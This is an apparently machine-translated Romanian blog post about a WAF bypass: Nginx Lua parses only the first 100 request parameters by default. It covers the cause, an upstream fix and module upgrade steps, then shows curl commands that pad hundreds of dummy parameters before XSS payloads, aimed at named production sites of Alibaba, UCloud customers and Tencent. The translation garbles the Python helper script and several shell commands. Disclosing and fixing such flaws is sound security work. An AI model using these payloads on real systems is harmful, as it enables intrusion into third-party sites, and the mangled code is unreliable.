|
|
Postat pe 27.04.2018 09:23:29
|
|
|
|

Când ginx Lua obține parametrii, primele 100 de valori ale parametrilor sunt obținute implicit, iar restul sunt aruncate. Prin urmare, WAF-urile care folosesc Nginx Lua vor fi ocolite implicit. Pe 20 aprilie 18, cineva de pe pasagerul de la securitate dezvăluise deja acest detaliu, așa că am publicat și acest articol 233.
Principiu
Descrierea oficială este următoarea
Rețineți că un maxim de 100 de argumente de cerere sunt analizate implicit (inclusiv cele cu același nume) și că argumentele suplimentare de cerere sunt eliminate în tăcere pentru a preveni potențiale Atacuri de negare a serviciului. Până la 100 de parametri de cerere (inclusiv cei cu același nume) pot fi analizați implicit, iar parametri suplimentari de cerere sunt eliminați automat pentru a preveni potențiale atacuri de tip denial-of-service.
Search 100, aproximativ următoarea metodă are aceeași problemă. ngx.req.get_uri_args Obține parametrii de cerere pentru get ngx.req.get_post_args Obține parametrii cererii pentru postare ngx.req.get_headers Primește antetul cererii ngx.decode_args Decodarea URL-ului parametrilor ngx.resp.get_headers Obține antetul răspunsului În codul sursă al modulului lua-nginx, putem vedea că codul sursă setează parametrul maxim implicit de cerere și antetul la 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Totuși, oficialul oferă o metodă de modificare a valorii implicite, cum ar fi ngx.req.get_uri_args (200) pentru a obține primii 200 de parametri de cerere.
Testa
Dacă parametrul cererii este 101, ultimul parametru de cerere nu poate fi obținut.
Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Dacă reduci un parametru de cerere, poți obține ultimul parametru de cerere când parametrii cererii sunt exact 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 R: ZBG Te-am prins, zbg
Rețineți că valoarea implicită este într-adevăr 100 de parametri de cerere, iar parametrii de cerere după 100 de parametri vor fi eliminați.
Este un lucru ciudat că în conținutul de retur de mai sus, în mijlocul poziției aproximative, parametrul final zbg este deja produs. Presupunerea mea este că rezultatul nu este în ordine, dar ordinea în care se face analiza urmează ordinea în care parametrii sunt trimiși, pentru că atunci când valoarea parametrului 101 este zbg, valoarea nu poate fi obținută.
Atașat este scriptul python care generează parametrii:
# Autor: ZBG # mail:zbg@zbg.org # Data: 2018-04-03
a = '' pentru i în interval (200): a = a + 'a{0}={1}&'.format(i+1, i+1) Tipărește A repara Desigur, nu se recomandă modificarea valorii MAX a parametrului în codul sursă. Pentru că, indiferent cât de mare este valoarea pe care o setezi, aceasta poate fi ocolită. Se recomandă să o setezi după parametrii metodei. Dacă poți obține lungimea parametrului de cerere și să folosești o metodă ca ngx.req.get_uri_args (lenth), nu ar fi suficient? Citind documentația, am constatat că numărul de parametri solicitați nu a putut fi obținut. Totuși, dacă setezi lentul la 0, poți obține toți parametrii ceruti.
Acest argument poate fi setat la zero pentru a elimina limita și pentru a procesa toate argumentele de cerere primite. args local = ngx.req.get_uri_args(0)
Totuși, este puternic descurajat să se seteze la 0 pentru a preveni potențiale atacuri de tip denial-of-service.
Îndepărtarea capacului de max_args este puternic descurajată.
De fapt, mă întrebam de ce setarea 0 ar duce la un posibil atac de tip denial of service, iar cererea ar ajunge oricum către nginx, indiferent câți parametri ar fi în get sau post.
Am ridicat o problemă oficialului, iar autorul a spus că ngx.req.get_uri_args (0) va crește consumul de CPU și memorie al serverului. Ulterior, am testat 200 de parametri și am folosit Nginx+php pentru a obține parametrul 200, ceea ce înseamnă că Nginx nu limitează implicit numărul de parametri solicitați. Atunci problema ar putea fi chiar în Nginx Lua,Când Nginx Lua folosește ngx.req.get_uri_args(0) pentru a obține toți parametrii și îi iterază, odată ce sunt solicitați mulți parametri, consumă mai mult CPU și memorie și, în cele din urmă, duce chiar la un refuz de serviciu。
Pe 03.04.2018, Bypass007 a ridicat oficial o PROBLEMĂ legată de această corectare a bug-ului și, în sfârșit, a adăugat oficial o nouă funcție bazată pe această PROBLEMĂ la 21-04-2018. Adresa înregistrării de commit a acestei funcții: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Descrierea funcției este următoarea: În versiunile după v0.10.13 (inclusiv v0.10.13), când numărul limită de cereri este încălcat, a doua valoare de returnare este șirul trunchiat. De la v0.10.13, când limita este depășită, va returna o a doua valoare care este șirul "trunchiat". Totuși, argumentul opțional al funcției max_args poate fi folosit pentru a anula această limită: args local, err = ngx.req.get_uri_args(10) dacă err == "trunchiat" atunci -- se poate alege să ignore sau să respingă cererea curentă aici Sfârșit
Așa că a apărut remedierea finală.
Actualizează lua-nginx-module la v0.10.13 sau mai târziu
Apoi limitează numărul total de parametri, iar cât de mult este limitat numărul total, personal cred că 100 este suficient
OpenResty actualizează modulul lua-nginx
Nu am găsit nicio informație despre modulul de upgrade OpenResty, așa că am descoperit singur cum să upgradez modulul lua-nginx.
Pașii sunt următorii:
Descarcă versiunea corespunzătoare a modulului lua-nginx WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Despacheta tar -zxvf v0.10.13 Șterge versiunea anterioară a modulului lua-nginx RM -RF OpenResty-1.9.15.1/bundle/ngx_lua-0.10.5 Copiază noul modul lua-nginx MV Lua-nginx-module-0.10.13 OpenResty-1.9.15.1/Bundle/ngx_lua-0.10.13 Pentru compilare, consultați parametrii de compilare ai VeryNginx
Bypass de carcasă
Trebuie clarificat că următoarele WAF-uri nu sunt sigur dacă să folosesc Nginx Lua, dar pot fi ocolite de numărul total de parametri.
Ali WAF
Acest WAF este un WAF folosit intern de Alibaba, adică WAF folosit de domenii precum *.taobao.com, și nu a fost testat pentru WAF-ul cloud vândut de Alibaba Cloud. Mai întâi, solicită o încărcătură utilă POST XSS pentru a o intercepta. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Prin Fuzz, s-a constatat că atunci când numărul de parametri este crescut la 478, cu XSS Payload, acesta nu mai este interceptat, iar site-ul poate fi accesat normal. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=422&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
WAF-ul testat este un WAF vândut de UCloud. Când parametrul cererii este crescut la 138, nu va mai fi blocat și site-ul va fi accesat normal. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Acest WAF este un WAF folosit intern de Tencent, adică WAF-ul folosit de nume de domenii precum *qq.com, și nu a fost testat pentru WAF-ul cloud vândut de Tencent Cloud. Când parametrul cererii crește la 4000, nu va mai fi blocat și site-ul va fi accesat normal. Testele aleatorii ale următoarelor domenii sunt afectate. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
rezumat
Această întrebare este foarte simplă și o puteți găsi citind cu atenție documentul. Dar de ce nu am aflat? Cred că încă e prea puțină gândire. Referință
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Precedent:Învață Photoshop de la zero, 18 lecții de la începător la zeuUrmător:Punctele forte și slăbiciunile Lua și Luajit
|